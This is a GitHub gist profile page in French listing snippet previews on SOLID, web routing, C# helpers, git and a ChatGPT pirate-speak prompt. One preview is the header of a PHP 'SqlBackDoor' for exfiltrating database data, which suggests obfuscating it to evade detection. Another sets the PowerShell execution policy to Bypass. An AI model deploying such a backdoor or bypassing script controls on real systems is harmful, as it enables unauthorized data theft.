Skip to content

Instantly share code, notes, and snippets.

View bizouarn's full-sized avatar

Aymeric Bizouarn bizouarn

View GitHub Profile
@bizouarn
bizouarn / SOLID.md
Last active July 3, 2025 21:48
Les Principes de la méthode SOLID

Les Principes de la méthode SOLID

Les principes SOLID sont un ensemble de directives de conception logicielle qui visent à créer des systèmes logiciels flexibles, extensibles et faciles à maintenir.
Chacun de ces principes représente un concept clé pour la création de code de qualité.
Dans ce document, nous allons explorer ces principes avec des exemples de code C#.

S pour SRP (Single Responsibility Principle) ou principe de Responsabilité Unique

Le SRP stipule qu'une classe devrait avoir une seule raison de changer.
En d'autres termes, une classe ne doit avoir qu'une seule responsabilité.

@bizouarn
bizouarn / funGPT.md
Last active September 22, 2023 19:53
Comment Rendre un Chat GPT Plus Amusant en Utilisant le Langage Pirate 🏴‍☠️

🏴‍☠️ Comment transformer Chat GPT en pirate 🏴‍☠️

Si vous souhaitez ajouter une touche de fantaisie à votre chat GPT, pourquoi ne pas le personnaliser en un fier flibustier ? Voici comment le faire en utilisant un prompt amusant :

Voici les règles simplifiées du langage pirate :
- Supprimez les "g" dans les mots français, par exemple, "manger" devient "maner" et "nager" devient "naer".
- Supprimez les "v" également, comme "aventure" devient "a’enture" et "vivre" devient "vire". 
- Doublez les adjectifs pour plus d'emphase. Plutôt que de dire "grand navire," dites "magnifique, grand navire !" Et au lieu de "jamais !", dites "Non rien, jamais !"
En réponse aux ordres de votre capitaine ou patron, dites toujours "Aye, aye, Capt'n" pour montrer votre obéissance.
@bizouarn
bizouarn / RoutageWeb.md
Last active June 15, 2023 22:47
Le **routing** (ou routage) est un concept fondamental dans le développement des applications web.

Le Routage dans les Applications Web

Le routing (ou routage) est un concept fondamental dans le développement des applications web. Il s'agit du processus qui permet de déterminer comment les requêtes HTTP sont gérées et associées aux différentes ressources et fonctionnalités de l'application.

Lorsque vous visitez un site web, chaque URL que vous saisissez dans la barre d'adresse du navigateur ou sur laquelle vous cliquez est gérée par le routage. Le système de routage détermine quelle page ou quelles fonctionnalités doivent être affichées en fonction de l'URL demandée.

Fonctionnement du Routage

Le routage fonctionne en associant des URL à des actions spécifiques dans l'application web. Lorsqu'un utilisateur entre une URL ou clique sur un lien, le serveur web reçoit la requête correspondante. Le système de routage analyse alors l'URL et détermine quelle partie de l'application doit être exécutée pour répondre à cette requête.

@bizouarn
bizouarn / SqlBackDoor.php
Last active March 29, 2023 19:04
Backdoor simple en PHP (Utiliser pour exfiltrer des données d'une base de données non accessible depuis l'internet)
<?php
// Fourni à des fins éducatives uniquement
// Ce code peut être obscurci pour tester les logiciels de détection de codes malveillants
// optionnel (vous permet de protéger votre porte dérobée, mais donne des informations sur la personne qui l'a mise en place)
// Récupération de l'adresse IP de l'envoyeur de la requête POST
// Et vérifie qu'elle est autorisé a utilisé la backdoor
/*
$ip = $_SERVER['REMOTE_ADDR'];
$ipCheck = '0.0.0.0';
@bizouarn
bizouarn / MarkupExtension.cs
Last active February 28, 2023 13:16
Exemple de MarkupExtension WPF avec rafraîchissement
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Windows;
using System.Windows.Data;
using System.Windows.Markup;
[MarkupExtensionReturnType(typeof(string))]
public class TraductionExtension : MarkupExtension
{
@bizouarn
bizouarn / PowerShellExecutionPolicy.ps1
Last active February 23, 2023 14:18
Gestion des droits d'exécution des scripts powershell (temporairement)
# Stockage de l'ancienne règle
$OldPolicy = (Get-ExecutionPolicy -Scope CurrentUser) | Out-String
echo $OldPolicy # Affiche l'ancienne règle
# Ajout du Bypass
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
# Pour annuler le Bypass (après éxecution des scripts)
Set-ExecutionPolicy -ExecutionPolicy $OldPolicy -Scope CurrentUser
@bizouarn
bizouarn / GetCurrentServicePath.cs
Last active November 13, 2024 21:57
Récupère le chemin du service courant.
Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location);
@bizouarn
bizouarn / GenerateStreamFromString.cs
Last active November 21, 2023 20:16
Method C# for convert String to Stream
/// <summary>
/// Generates a <see cref="Stream"/> from the given string.
/// </summary>
/// <param name="s">The input string.</param>
/// <returns>A <see cref="Stream"/> containing the data from the input string.</returns>
public static Stream GenerateStreamFromString(string s)
{
var stream = new MemoryStream();
var writer = new StreamWriter(stream);
writer.Write(s);
@bizouarn
bizouarn / dox.hxml
Last active September 9, 2022 15:03
Note for using haxe dox lib
# doc gen
-lib dox
-xml docs/doc.xml
-D doc-gen
--macro include('pack')
--no-output
--each
# -- then in terminal
# -- Install lib
# haxelib install dox
@bizouarn
bizouarn / GIT.md
Last active December 14, 2023 13:39
Utiliser les commandes de base de git

GIT

GIT permets de travailler a plusieurs sur un projet sans problème de synchronisation et un historique des modifications.

Clone

Permets de copier les fichier d'un projet en local

git clone [URL]

branch

Une branche représente une ligne de développement indépendante. Vous pouvez les considérer comme un moyen de demander un nouveau répertoire de travail.